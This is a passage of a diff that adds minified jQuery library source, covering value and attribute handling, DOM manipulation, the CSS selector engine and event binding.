+return(this[0].value||"").replace(/\r/g,"");}return undefined;}if(value.constructor==Number)value+='';return this.each(function(){if(this.nodeType!=1)return;if(value.constructor==Array&&/radio|checkbox/.test(this.type))this.checked=(jQuery.inArray(this.value,value)>=0||jQuery.inArray(this.name,value)>=0);else if(jQuery.nodeName(this,"select")){var values=jQuery.makeArray(value);jQuery("option",this).each(function(){this.selected=(jQuery.inArray(this.value,values)>=0||jQuery.inArray(this.text,values)>=0);});if(!values.length)this.selectedIndex=-1;}else
+this.value=value;});},html:function(value){return value==undefined?(this[0]?this[0].innerHTML:null):this.empty().append(value);},replaceWith:function(value){return this.after(value).remove();},eq:function(i){return this.slice(i,i+1);},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments));},map:function(callback){return this.pushStack(jQuery.map(this,function(elem,i){return callback.call(elem,i,elem);}));},andSelf:function(){return this.add(this.prevObject);},data:function(key,value){var parts=key.split(".");parts[1]=parts[1]?"."+parts[1]:"";if(value===undefined){var data=this.triggerHandler("getData"+parts[1]+"!",[parts[0]]);if(data===undefined&&this.length)data=jQuery.data(this[0],key);return data===undefined&&parts[1]?this.data(parts[0]):data;}else
+return this.trigger("setData"+parts[1]+"!",[parts[0],value]).each(function(){jQuery.data(this,key,value);});},removeData:function(key){return this.each(function(){jQuery.removeData(this,key);});},domManip:function(args,table,reverse,callback){var clone=this.length>1,elems;return this.each(function(){if(!elems){elems=jQuery.clean(args,this.ownerDocument);if(reverse)elems.reverse();}var obj=this;if(table&&jQuery.nodeName(this,"table")&&jQuery.nodeName(elems[0],"tr"))obj=this.getElementsByTagName("tbody")[0]||this.appendChild(this.ownerDocument.createElement("tbody"));var scripts=jQuery([]);jQuery.each(elems,function(){var elem=clone?jQuery(this).clone(true)[0]:this;if(jQuery.nodeName(elem,"script"))scripts=scripts.add(elem);else{if(elem.nodeType==1)scripts=scripts.add(jQuery("script",elem).remove());callback.call(obj,elem);}});scripts.each(evalScript);});}};jQuery.fn.init.prototype=jQuery.fn;function evalScript(i,elem){if(elem.src)jQuery.ajax({url:elem.src,async:false,dataType:"script"});else
+jQuery.globalEval(elem.text||elem.textContent||elem.innerHTML||"");if(elem.parentNode)elem.parentNode.removeChild(elem);}function now(){return+new Date;}jQuery.extend=jQuery.fn.extend=function(){var target=arguments[0]||{},i=1,length=arguments.length,deep=false,options;if(target.constructor==Boolean){deep=target;target=arguments[1]||{};i=2;}if(typeof target!="object"&&typeof target!="function")target={};if(length==i){target=this;--i;}for(;i<length;i++)if((options=arguments[i])!=null)for(var name in options){var src=target[name],copy=options[name];if(target===copy)continue;if(deep&&copy&&typeof copy=="object"&&!copy.nodeType)target[name]=jQuery.extend(deep,src||(copy.length!=null?[]:{}),copy);else if(copy!==undefined)target[name]=copy;}return target;};var expando="jQuery"+now(),uuid=0,windowData={},exclude=/z-?index|font-?weight|opacity|zoom|line-?height/i,defaultView=document.defaultView||{};jQuery.extend({noConflict:function(deep){window.$=_$;if(deep)window.jQuery=_jQuery;return jQuery;},isFunction:function(fn){return!!fn&&typeof fn!="string"&&!fn.nodeName&&fn.constructor!=Array&&/^[\s[]?function/.test(fn+"");},isXMLDoc:function(elem){return elem.documentElement&&!elem.body||elem.tagName&&elem.ownerDocument&&!elem.ownerDocument.body;},globalEval:function(data){data=jQuery.trim(data);if(data){var head=document.getElementsByTagName("head")[0]||document.documentElement,script=document.createElement("script");script.type="text/javascript";if(jQuery.browser.msie)script.text=data;else
+script.appendChild(document.createTextNode(data));head.insertBefore(script,head.firstChild);head.removeChild(script);}},nodeName:function(elem,name){return elem.nodeName&&elem.nodeName.toUpperCase()==name.toUpperCase();},cache:{},data:function(elem,name,data){elem=elem==window?windowData:elem;var id=elem[expando];if(!id)id=elem[expando]=++uuid;if(name&&!jQuery.cache[id])jQuery.cache[id]={};if(data!==undefined)jQuery.cache[id][name]=data;return name?jQuery.cache[id][name]:id;},removeData:function(elem,name){elem=elem==window?windowData:elem;var id=elem[expando];if(name){if(jQuery.cache[id]){delete jQuery.cache[id][name];name="";for(name in jQuery.cache[id])break;if(!name)jQuery.removeData(elem);}}else{try{delete elem[expando];}catch(e){if(elem.removeAttribute)elem.removeAttribute(expando);}delete jQuery.cache[id];}},each:function(object,callback,args){var name,i=0,length=object.length;if(args){if(length==undefined){for(name in object)if(callback.apply(object[name],args)===false)break;}else
+for(;i<length;)if(callback.apply(object[i++],args)===false)break;}else{if(length==undefined){for(name in object)if(callback.call(object[name],name,object[name])===false)break;}else
+for(var value=object[0];i<length&&callback.call(value,i,value)!==false;value=object[++i]){}}return object;},prop:function(elem,value,type,i,name){if(jQuery.isFunction(value))value=value.call(elem,i);return value&&value.constructor==Number&&type=="curCSS"&&!exclude.test(name)?value+"px":value;},className:{add:function(elem,classNames){jQuery.each((classNames||"").split(/\s+/),function(i,className){if(elem.nodeType==1&&!jQuery.className.has(elem.className,className))elem.className+=(elem.className?" ":"")+className;});},remove:function(elem,classNames){if(elem.nodeType==1)elem.className=classNames!=undefined?jQuery.grep(elem.className.split(/\s+/),function(className){return!jQuery.className.has(classNames,className);}).join(" "):"";},has:function(elem,className){return jQuery.inArray(className,(elem.className||elem).toString().split(/\s+/))>-1;}},swap:function(elem,options,callback){var old={};for(var name in options){old[name]=elem.style[name];elem.style[name]=options[name];}callback.call(elem);for(var name in options)elem.style[name]=old[name];},css:function(elem,name,force){if(name=="width"||name=="height"){var val,props={position:"absolute",visibility:"hidden",display:"block"},which=name=="width"?["Left","Right"]:["Top","Bottom"];function getWH(){val=name=="width"?elem.offsetWidth:elem.offsetHeight;var padding=0,border=0;jQuery.each(which,function(){padding+=parseFloat(jQuery.curCSS(elem,"padding"+this,true))||0;border+=parseFloat(jQuery.curCSS(elem,"border"+this+"Width",true))||0;});val-=Math.round(padding+border);}if(jQuery(elem).is(":visible"))getWH();else
+jQuery.swap(elem,props,getWH);return Math.max(0,val);}return jQuery.curCSS(elem,name,force);},curCSS:function(elem,name,force){var ret,style=elem.style;function color(elem){if(!jQuery.browser.safari)return false;var ret=defaultView.getComputedStyle(elem,null);return!ret||ret.getPropertyValue("color")=="";}if(name=="opacity"&&jQuery.browser.msie){ret=jQuery.attr(style,"opacity");return ret==""?"1":ret;}if(jQuery.browser.opera&&name=="display"){var save=style.outline;style.outline="0 solid black";style.outline=save;}if(name.match(/float/i))name=styleFloat;if(!force&&style&&style[name])ret=style[name];else if(defaultView.getComputedStyle){if(name.match(/float/i))name="float";name=name.replace(/([A-Z])/g,"-$1").toLowerCase();var computedStyle=defaultView.getComputedStyle(elem,null);if(computedStyle&&!color(elem))ret=computedStyle.getPropertyValue(name);else{var swap=[],stack=[],a=elem,i=0;for(;a&&color(a);a=a.parentNode)stack.unshift(a);for(;i<stack.length;i++)if(color(stack[i])){swap[i]=stack[i].style.display;stack[i].style.display="block";}ret=name=="display"&&swap[stack.length-1]!=null?"none":(computedStyle&&computedStyle.getPropertyValue(name))||"";for(i=0;i<swap.length;i++)if(swap[i]!=null)stack[i].style.display=swap[i];}if(name=="opacity"&&ret=="")ret="1";}else if(elem.currentStyle){var camelCase=name.replace(/\-(\w)/g,function(all,letter){return letter.toUpperCase();});ret=elem.currentStyle[name]||elem.currentStyle[camelCase];if(!/^\d+(px)?$/i.test(ret)&&/^\d/.test(ret)){var left=style.left,rsLeft=elem.runtimeStyle.left;elem.runtimeStyle.left=elem.currentStyle.left;style.left=ret||0;ret=style.pixelLeft+"px";style.left=left;elem.runtimeStyle.left=rsLeft;}}return ret;},clean:function(elems,context){var ret=[];context=context||document;if(typeof context.createElement=='undefined')context=context.ownerDocument||context[0]&&context[0].ownerDocument||document;jQuery.each(elems,function(i,elem){if(!elem)return;if(elem.constructor==Number)elem+='';if(typeof elem=="string"){elem=elem.replace(/(<(\w+)[^>]*?)\/>/g,function(all,front,tag){return tag.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?all:front+"></"+tag+">";});var tags=jQuery.trim(elem).toLowerCase(),div=context.createElement("div");var wrap=!tags.indexOf("<opt")&&[1,"<select multiple='multiple'>","</select>"]||!tags.indexOf("<leg")&&[1,"<fieldset>","</fieldset>"]||tags.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"<table>","</table>"]||!tags.indexOf("<tr")&&[2,"<table><tbody>","</tbody></table>"]||(!tags.indexOf("<td")||!tags.indexOf("<th"))&&[3,"<table><tbody><tr>","</tr></tbody></table>"]||!tags.indexOf("<col")&&[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"]||jQuery.browser.msie&&[1,"div<div>","</div>"]||[0,"",""];div.innerHTML=wrap[1]+elem+wrap[2];while(wrap[0]--)div=div.lastChild;if(jQuery.browser.msie){var tbody=!tags.indexOf("<table")&&tags.indexOf("<tbody")<0?div.firstChild&&div.firstChild.childNodes:wrap[1]=="<table>"&&tags.indexOf("<tbody")<0?div.childNodes:[];for(var j=tbody.length-1;j>=0;--j)if(jQuery.nodeName(tbody[j],"tbody")&&!tbody[j].childNodes.length)tbody[j].parentNode.removeChild(tbody[j]);if(/^\s/.test(elem))div.insertBefore(context.createTextNode(elem.match(/^\s*/)[0]),div.firstChild);}elem=jQuery.makeArray(div.childNodes);}if(elem.length===0&&(!jQuery.nodeName(elem,"form")&&!jQuery.nodeName(elem,"select")))return;if(elem[0]==undefined||jQuery.nodeName(elem,"form")||elem.options)ret.push(elem);else
+ret=jQuery.merge(ret,elem);});return ret;},attr:function(elem,name,value){if(!elem||elem.nodeType==3||elem.nodeType==8)return undefined;var notxml=!jQuery.isXMLDoc(elem),set=value!==undefined,msie=jQuery.browser.msie;name=notxml&&jQuery.props[name]||name;if(elem.tagName){var special=/href|src|style/.test(name);if(name=="selected"&&jQuery.browser.safari)elem.parentNode.selectedIndex;if(name in elem&&notxml&&!special){if(set){if(name=="type"&&jQuery.nodeName(elem,"input")&&elem.parentNode)throw"type property can't be changed";elem[name]=value;}if(jQuery.nodeName(elem,"form")&&elem.getAttributeNode(name))return elem.getAttributeNode(name).nodeValue;return elem[name];}if(msie&&notxml&&name=="style")return jQuery.attr(elem.style,"cssText",value);if(set)elem.setAttribute(name,""+value);var attr=msie&&notxml&&special?elem.getAttribute(name,2):elem.getAttribute(name);return attr===null?undefined:attr;}if(msie&&name=="opacity"){if(set){elem.zoom=1;elem.filter=(elem.filter||"").replace(/alpha\([^)]*\)/,"")+(parseInt(value)+''=="NaN"?"":"alpha(opacity="+value*100+")");}return elem.filter&&elem.filter.indexOf("opacity=")>=0?(parseFloat(elem.filter.match(/opacity=([^)]*)/)[1])/100)+'':"";}name=name.replace(/-([a-z])/ig,function(all,letter){return letter.toUpperCase();});if(set)elem[name]=value;return elem[name];},trim:function(text){return(text||"").replace(/^\s+|\s+$/g,"");},makeArray:function(array){var ret=[];if(array!=null){var i=array.length;if(i==null||array.split||array.setInterval||array.call)ret[0]=array;else
+while(i)ret[--i]=array[i];}return ret;},inArray:function(elem,array){for(var i=0,length=array.length;i<length;i++)if(array[i]===elem)return i;return-1;},merge:function(first,second){var i=0,elem,pos=first.length;if(jQuery.browser.msie){while(elem=second[i++])if(elem.nodeType!=8)first[pos++]=elem;}else
+while(elem=second[i++])first[pos++]=elem;return first;},unique:function(array){var ret=[],done={};try{for(var i=0,length=array.length;i<length;i++){var id=jQuery.data(array[i]);if(!done[id]){done[id]=true;ret.push(array[i]);}}}catch(e){ret=array;}return ret;},grep:function(elems,callback,inv){var ret=[];for(var i=0,length=elems.length;i<length;i++)if(!inv!=!callback(elems[i],i))ret.push(elems[i]);return ret;},map:function(elems,callback){var ret=[];for(var i=0,length=elems.length;i<length;i++){var value=callback(elems[i],i);if(value!=null)ret[ret.length]=value;}return ret.concat.apply([],ret);}});var userAgent=navigator.userAgent.toLowerCase();jQuery.browser={version:(userAgent.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/)||[])[1],safari:/webkit/.test(userAgent),opera:/opera/.test(userAgent),msie:/msie/.test(userAgent)&&!/opera/.test(userAgent),mozilla:/mozilla/.test(userAgent)&&!/(compatible|webkit)/.test(userAgent)};var styleFloat=jQuery.browser.msie?"styleFloat":"cssFloat";jQuery.extend({boxModel:!jQuery.browser.msie||document.compatMode=="CSS1Compat",props:{"for":"htmlFor","class":"className","float":styleFloat,cssFloat:styleFloat,styleFloat:styleFloat,readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing"}});jQuery.each({parent:function(elem){return elem.parentNode;},parents:function(elem){return jQuery.dir(elem,"parentNode");},next:function(elem){return jQuery.nth(elem,2,"nextSibling");},prev:function(elem){return jQuery.nth(elem,2,"previousSibling");},nextAll:function(elem){return jQuery.dir(elem,"nextSibling");},prevAll:function(elem){return jQuery.dir(elem,"previousSibling");},siblings:function(elem){return jQuery.sibling(elem.parentNode.firstChild,elem);},children:function(elem){return jQuery.sibling(elem.firstChild);},contents:function(elem){return jQuery.nodeName(elem,"iframe")?elem.contentDocument||elem.contentWindow.document:jQuery.makeArray(elem.childNodes);}},function(name,fn){jQuery.fn[name]=function(selector){var ret=jQuery.map(this,fn);if(selector&&typeof selector=="string")ret=jQuery.multiFilter(selector,ret);return this.pushStack(jQuery.unique(ret));};});jQuery.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(name,original){jQuery.fn[name]=function(){var args=arguments;return this.each(function(){for(var i=0,length=args.length;i<length;i++)jQuery(args[i])[original](this);});};});jQuery.each({removeAttr:function(name){jQuery.attr(this,name,"");if(this.nodeType==1)this.removeAttribute(name);},addClass:function(classNames){jQuery.className.add(this,classNames);},removeClass:function(classNames){jQuery.className.remove(this,classNames);},toggleClass:function(classNames){jQuery.className[jQuery.className.has(this,classNames)?"remove":"add"](this,classNames);},remove:function(selector){if(!selector||jQuery.filter(selector,[this]).r.length){jQuery("*",this).add(this).each(function(){jQuery.event.remove(this);jQuery.removeData(this);});if(this.parentNode)this.parentNode.removeChild(this);}},empty:function(){jQuery(">*",this).remove();while(this.firstChild)this.removeChild(this.firstChild);}},function(name,fn){jQuery.fn[name]=function(){return this.each(fn,arguments);};});jQuery.each(["Height","Width"],function(i,name){var type=name.toLowerCase();jQuery.fn[type]=function(size){return this[0]==window?jQuery.browser.opera&&document.body["client"+name]||jQuery.browser.safari&&window["inner"+name]||document.compatMode=="CSS1Compat"&&document.documentElement["client"+name]||document.body["client"+name]:this[0]==document?Math.max(Math.max(document.body["scroll"+name],document.documentElement["scroll"+name]),Math.max(document.body["offset"+name],document.documentElement["offset"+name])):size==undefined?(this.length?jQuery.css(this[0],type):null):this.css(type,size.constructor==String?size:size+"px");};});function num(elem,prop){return elem[0]&&parseInt(jQuery.curCSS(elem[0],prop,true),10)||0;}var chars=jQuery.browser.safari&&parseInt(jQuery.browser.version)<417?"(?:[\\w*_-]|\\\\.)":"(?:[\\w\u0128-\uFFFF*_-]|\\\\.)",quickChild=new RegExp("^>\\s*("+chars+"+)"),quickID=new RegExp("^("+chars+"+)(#)("+chars+"+)"),quickClass=new RegExp("^([#.]?)("+chars+"*)");jQuery.extend({expr:{"":function(a,i,m){return m[2]=="*"||jQuery.nodeName(a,m[2]);},"#":function(a,i,m){return a.getAttribute("id")==m[2];},":":{lt:function(a,i,m){return i<m[3]-0;},gt:function(a,i,m){return i>m[3]-0;},nth:function(a,i,m){return m[3]-0==i;},eq:function(a,i,m){return m[3]-0==i;},first:function(a,i){return i==0;},last:function(a,i,m,r){return i==r.length-1;},even:function(a,i){return i%2==0;},odd:function(a,i){return i%2;},"first-child":function(a){return a.parentNode.getElementsByTagName("*")[0]==a;},"last-child":function(a){return jQuery.nth(a.parentNode.lastChild,1,"previousSibling")==a;},"only-child":function(a){return!jQuery.nth(a.parentNode.lastChild,2,"previousSibling");},parent:function(a){return a.firstChild;},empty:function(a){return!a.firstChild;},contains:function(a,i,m){return(a.textContent||a.innerText||jQuery(a).text()||"").indexOf(m[3])>=0;},visible:function(a){return"hidden"!=a.type&&jQuery.css(a,"display")!="none"&&jQuery.css(a,"visibility")!="hidden";},hidden:function(a){return"hidden"==a.type||jQuery.css(a,"display")=="none"||jQuery.css(a,"visibility")=="hidden";},enabled:function(a){return!a.disabled;},disabled:function(a){return a.disabled;},checked:function(a){return a.checked;},selected:function(a){return a.selected||jQuery.attr(a,"selected");},text:function(a){return"text"==a.type;},radio:function(a){return"radio"==a.type;},checkbox:function(a){return"checkbox"==a.type;},file:function(a){return"file"==a.type;},password:function(a){return"password"==a.type;},submit:function(a){return"submit"==a.type;},image:function(a){return"image"==a.type;},reset:function(a){return"reset"==a.type;},button:function(a){return"button"==a.type||jQuery.nodeName(a,"button");},input:function(a){return/input|select|textarea|button/i.test(a.nodeName);},has:function(a,i,m){return jQuery.find(m[3],a).length;},header:function(a){return/h\d/i.test(a.nodeName);},animated:function(a){return jQuery.grep(jQuery.timers,function(fn){return a==fn.elem;}).length;}}},parse:[/^(\[) *@?([\w-]+) *([!*$^~=]*) *('?"?)(.*?)\4 *\]/,/^(:)([\w-]+)\("?'?(.*?(\(.*?\))?[^(]*?)"?'?\)/,new RegExp("^([:.#]*)("+chars+"+)")],multiFilter:function(expr,elems,not){var old,cur=[];while(expr&&expr!=old){old=expr;var f=jQuery.filter(expr,elems,not);expr=f.t.replace(/^\s*,\s*/,"");cur=not?elems=f.r:jQuery.merge(cur,f.r);}return cur;},find:function(t,context){if(typeof t!="string")return[t];if(context&&context.nodeType!=1&&context.nodeType!=9)return[];context=context||document;var ret=[context],done=[],last,nodeName;while(t&&last!=t){var r=[];last=t;t=jQuery.trim(t);var foundToken=false,re=quickChild,m=re.exec(t);if(m){nodeName=m[1].toUpperCase();for(var i=0;ret[i];i++)for(var c=ret[i].firstChild;c;c=c.nextSibling)if(c.nodeType==1&&(nodeName=="*"||c.nodeName.toUpperCase()==nodeName))r.push(c);ret=r;t=t.replace(re,"");if(t.indexOf(" ")==0)continue;foundToken=true;}else{re=/^([>+~])\s*(\w*)/i;if((m=re.exec(t))!=null){r=[];var merge={};nodeName=m[2].toUpperCase();m=m[1];for(var j=0,rl=ret.length;j<rl;j++){var n=m=="~"||m=="+"?ret[j].nextSibling:ret[j].firstChild;for(;n;n=n.nextSibling)if(n.nodeType==1){var id=jQuery.data(n);if(m=="~"&&merge[id])break;if(!nodeName||n.nodeName.toUpperCase()==nodeName){if(m=="~")merge[id]=true;r.push(n);}if(m=="+")break;}}ret=r;t=jQuery.trim(t.replace(re,""));foundToken=true;}}if(t&&!foundToken){if(!t.indexOf(",")){if(context==ret[0])ret.shift();done=jQuery.merge(done,ret);r=ret=[context];t=" "+t.substr(1,t.length);}else{var re2=quickID;var m=re2.exec(t);if(m){m=[0,m[2],m[3],m[1]];}else{re2=quickClass;m=re2.exec(t);}m[2]=m[2].replace(/\\/g,"");var elem=ret[ret.length-1];if(m[1]=="#"&&elem&&elem.getElementById&&!jQuery.isXMLDoc(elem)){var oid=elem.getElementById(m[2]);if((jQuery.browser.msie||jQuery.browser.opera)&&oid&&typeof oid.id=="string"&&oid.id!=m[2])oid=jQuery('[@id="'+m[2]+'"]',elem)[0];ret=r=oid&&(!m[3]||jQuery.nodeName(oid,m[3]))?[oid]:[];}else{for(var i=0;ret[i];i++){var tag=m[1]=="#"&&m[3]?m[3]:m[1]!=""||m[0]==""?"*":m[2];if(tag=="*"&&ret[i].nodeName.toLowerCase()=="object")tag="param";r=jQuery.merge(r,ret[i].getElementsByTagName(tag));}if(m[1]==".")r=jQuery.classFilter(r,m[2]);if(m[1]=="#"){var tmp=[];for(var i=0;r[i];i++)if(r[i].getAttribute("id")==m[2]){tmp=[r[i]];break;}r=tmp;}ret=r;}t=t.replace(re2,"");}}if(t){var val=jQuery.filter(t,r);ret=r=val.r;t=jQuery.trim(val.t);}}if(t)ret=[];if(ret&&context==ret[0])ret.shift();done=jQuery.merge(done,ret);return done;},classFilter:function(r,m,not){m=" "+m+" ";var tmp=[];for(var i=0;r[i];i++){var pass=(" "+r[i].className+" ").indexOf(m)>=0;if(!not&&pass||not&&!pass)tmp.push(r[i]);}return tmp;},filter:function(t,r,not){var last;while(t&&t!=last){last=t;var p=jQuery.parse,m;for(var i=0;p[i];i++){m=p[i].exec(t);if(m){t=t.substring(m[0].length);m[2]=m[2].replace(/\\/g,"");break;}}if(!m)break;if(m[1]==":"&&m[2]=="not")r=isSimple.test(m[3])?jQuery.filter(m[3],r,true).r:jQuery(r).not(m[3]);else if(m[1]==".")r=jQuery.classFilter(r,m[2],not);else if(m[1]=="["){var tmp=[],type=m[3];for(var i=0,rl=r.length;i<rl;i++){var a=r[i],z=a[jQuery.props[m[2]]||m[2]];if(z==null||/href|src|selected/.test(m[2]))z=jQuery.attr(a,m[2])||'';if((type==""&&!!z||type=="="&&z==m[5]||type=="!="&&z!=m[5]||type=="^="&&z&&!z.indexOf(m[5])||type=="$="&&z.substr(z.length-m[5].length)==m[5]||(type=="*="||type=="~=")&&z.indexOf(m[5])>=0)^not)tmp.push(a);}r=tmp;}else if(m[1]==":"&&m[2]=="nth-child"){var merge={},tmp=[],test=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(m[3]=="even"&&"2n"||m[3]=="odd"&&"2n+1"||!/\D/.test(m[3])&&"0n+"+m[3]||m[3]),first=(test[1]+(test[2]||1))-0,last=test[3]-0;for(var i=0,rl=r.length;i<rl;i++){var node=r[i],parentNode=node.parentNode,id=jQuery.data(parentNode);if(!merge[id]){var c=1;for(var n=parentNode.firstChild;n;n=n.nextSibling)if(n.nodeType==1)n.nodeIndex=c++;merge[id]=true;}var add=false;if(first==0){if(node.nodeIndex==last)add=true;}else if((node.nodeIndex-last)%first==0&&(node.nodeIndex-last)/first>=0)add=true;if(add^not)tmp.push(node);}r=tmp;}else{var fn=jQuery.expr[m[1]];if(typeof fn=="object")fn=fn[m[2]];if(typeof fn=="string")fn=eval("false||function(a,i){return "+fn+";}");r=jQuery.grep(r,function(elem,i){return fn(elem,i,m,r);},not);}}return{r:r,t:t};},dir:function(elem,dir){var matched=[],cur=elem[dir];while(cur&&cur!=document){if(cur.nodeType==1)matched.push(cur);cur=cur[dir];}return matched;},nth:function(cur,result,dir,elem){result=result||1;var num=0;for(;cur;cur=cur[dir])if(cur.nodeType==1&&++num==result)break;return cur;},sibling:function(n,elem){var r=[];for(;n;n=n.nextSibling){if(n.nodeType==1&&n!=elem)r.push(n);}return r;}});jQuery.event={add:function(elem,types,handler,data){if(elem.nodeType==3||elem.nodeType==8)return;if(jQuery.browser.msie&&elem.setInterval)elem=window;if(!handler.guid)handler.guid=this.guid++;if(data!=undefined){var fn=handler;handler=this.proxy(fn,function(){return fn.apply(this,arguments);});handler.data=data;}var events=jQuery.data(elem,"events")||jQuery.data(elem,"events",{}),handle=jQuery.data(elem,"handle")||jQuery.data(elem,"handle",function(){if(typeof jQuery!="undefined"&&!jQuery.event.triggered)return jQuery.event.handle.apply(arguments.callee.elem,arguments);});handle.elem=elem;jQuery.each(types.split(/\s+/),function(index,type){var parts=type.split(".");type=parts[0];handler.type=parts[1];var handlers=events[type];if(!handlers){handlers=events[type]={};if(!jQuery.event.special[type]||jQuery.event.special[type].setup.call(elem)===false){if(elem.addEventListener)elem.addEventListener(type,handle,false);else if(elem.attachEvent)elem.attachEvent("on"+type,handle);}}handlers[handler.guid]=handler;jQuery.event.global[type]=true;});elem=null;},guid:1,global:{},remove:function(elem,types,handler){if(elem.nodeType==3||elem.nodeType==8)return;var events=jQuery.data(elem,"events"),ret,index;if(events){if(types==undefined||(typeof types=="string"&&types.charAt(0)=="."))for(var type in events)this.remove(elem,type+(types||""));else{if(types.type){handler=types.handler;types=types.type;}jQuery.each(types.split(/\s+/),function(index,type){var parts=type.split(".");type=parts[0];if(events[type]){if(handler)delete events[type][handler.guid];else
+for(handler in events[type])if(!parts[1]||events[type][handler].type==parts[1])delete events[type][handler];for(ret in events[type])break;if(!ret){if(!jQuery.event.special[type]||jQuery.event.special[type].teardown.call(elem)===false){if(elem.removeEventListener)elem.removeEventListener(type,jQuery.data(elem,"handle"),false);else if(elem.detachEvent)elem.detachEvent("on"+type,jQuery.data(elem,"handle"));}ret=null;delete events[type];}}});}for(ret in events)break;if(!ret){var handle=jQuery.data(elem,"handle");if(handle)handle.elem=null;jQuery.removeData(elem,"events");jQuery.removeData(elem,"handle");}}},trigger:function(type,data,elem,donative,extra){data=jQuery.makeArray(data);if(type.indexOf("!")>=0){type=type.slice(0,-1);var exclusive=true;}if(!elem){if(this.global[type])jQuery("*").add([window,document]).trigger(type,data);}else{if(elem.nodeType==3||elem.nodeType==8)return undefined;var val,ret,fn=jQuery.isFunction(elem[type]||null),event=!data[0]||!data[0].preventDefault;if(event){data.unshift({type:type,target:elem,preventDefault:function(){},stopPropagation:function(){},timeStamp:now()});data[0][expando]=true;}data[0].type=type;if(exclusive)data[0].exclusive=true;var handle=jQuery.data(elem,"handle");if(handle)val=handle.apply(elem,data);if((!fn||(jQuery.nodeName(elem,'a')&&type=="click"))&&elem["on"+type]&&elem["on"+type].apply(elem,data)===false)val=false;if(event)data.shift();if(extra&&jQuery.isFunction(extra)){ret=extra.apply(elem,val==null?data:data.concat(val));if(ret!==undefined)val=ret;}if(fn&&donative!==false&&val!==false&&!(jQuery.nodeName(elem,'a')&&type=="click")){this.triggered=true;try{elem[type]();}catch(e){}}this.triggered=false;}return val;},handle:function(event){var val,ret,namespace,all,handlers;event=arguments[0]=jQuery.event.fix(event||window.event);namespace=event.type.split(".");event.type=namespace[0];namespace=namespace[1];all=!namespace&&!event.exclusive;handlers=(jQuery.data(this,"events")||{})[event.type];for(var j in handlers){var handler=handlers[j];if(all||handler.type==namespace){event.handler=handler;event.data=handler.data;ret=handler.apply(this,arguments);if(val!==false)val=ret;if(ret===false){event.preventDefault();event.stopPropagation();}}}return val;},fix:function(event){if(event[expando]==true)return event;var originalEvent=event;event={originalEvent:originalEvent};var props="altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target timeStamp toElement type view wheelDelta which".split(" ");for(var i=props.length;i;i--)event[props[i]]=originalEvent[props[i]];event[expando]=true;event.preventDefault=function(){if(originalEvent.preventDefault)originalEvent.preventDefault();originalEvent.returnValue=false;};event.stopPropagation=function(){if(originalEvent.stopPropagation)originalEvent.stopPropagation();originalEvent.cancelBubble=true;};event.timeStamp=event.timeStamp||now();if(!event.target)event.target=event.srcElement||document;if(event.target.nodeType==3)event.target=event.target.parentNode;if(!event.relatedTarget&&event.fromElement)event.relatedTarget=event.fromElement==event.target?event.toElement:event.fromElement;if(event.pageX==null&&event.clientX!=null){var doc=document.documentElement,body=document.body;event.pageX=event.clientX+(doc&&doc.scrollLeft||body&&body.scrollLeft||0)-(doc.clientLeft||0);event.pageY=event.clientY+(doc&&doc.scrollTop||body&&body.scrollTop||0)-(doc.clientTop||0);}if(!event.which&&((event.charCode||event.charCode===0)?event.charCode:event.keyCode))event.which=event.charCode||event.keyCode;if(!event.metaKey&&event.ctrlKey)event.metaKey=event.ctrlKey;if(!event.which&&event.button)event.which=(event.button&1?1:(event.button&2?3:(event.button&4?2:0)));return event;},proxy:function(fn,proxy){proxy.guid=fn.guid=fn.guid||proxy.guid||this.guid++;return proxy;},special:{ready:{setup:function(){bindReady();return;},teardown:function(){return;}},mouseenter:{setup:function(){if(jQuery.browser.msie)return false;jQuery(this).bind("mouseover",jQuery.event.special.mouseenter.handler);return true;},teardown:function(){if(jQuery.browser.msie)return false;jQuery(this).unbind("mouseover",jQuery.event.special.mouseenter.handler);return true;},handler:function(event){if(withinElement(event,this))return true;event.type="mouseenter";return jQuery.event.handle.apply(this,arguments);}},mouseleave:{setup:function(){if(jQuery.browser.msie)return false;jQuery(this).bind("mouseout",jQuery.event.special.mouseleave.handler);return true;},teardown:function(){if(jQuery.browser.msie)return false;jQuery(this).unbind("mouseout",jQuery.event.special.mouseleave.handler);return true;},handler:function(event){if(withinElement(event,this))return true;event.type="mouseleave";return jQuery.event.handle.apply(this,arguments);}}}};jQuery.fn.extend({bind:function(type,data,fn){return type=="unload"?this.one(type,data,fn):this.each(function(){jQuery.event.add(this,type,fn||data,fn&&data);});},one:function(type,data,fn){var one=jQuery.event.proxy(fn||data,function(event){jQuery(this).unbind(event,one);return(fn||data).apply(this,arguments);});return this.each(function(){jQuery.event.add(this,type,one,fn&&data);});},unbind:function(type,fn){return this.each(function(){jQuery.event.remove(this,type,fn);});},trigger:function(type,data,fn){return this.each(function(){jQuery.event.trigger(type,data,this,true,fn);});},triggerHandler:function(type,data,fn){return this[0]&&jQuery.event.trigger(type,data,this[0],false,fn);},toggle:function(fn){var args=arguments,i=1;while(i<args.length)jQuery.event.proxy(fn,args[i++]);return this.click(jQuery.event.proxy(fn,function(event){this.lastToggle=(this.lastToggle||0)%i;event.preventDefault();return args[this.lastToggle++].apply(this,arguments)||false;}));},hover:function(fnOver,fnOut){return this.bind('mouseenter',fnOver).bind('mouseleave',fnOut);},ready:function(fn){bindReady();if(jQuery.isReady)fn.call(document,jQuery);else
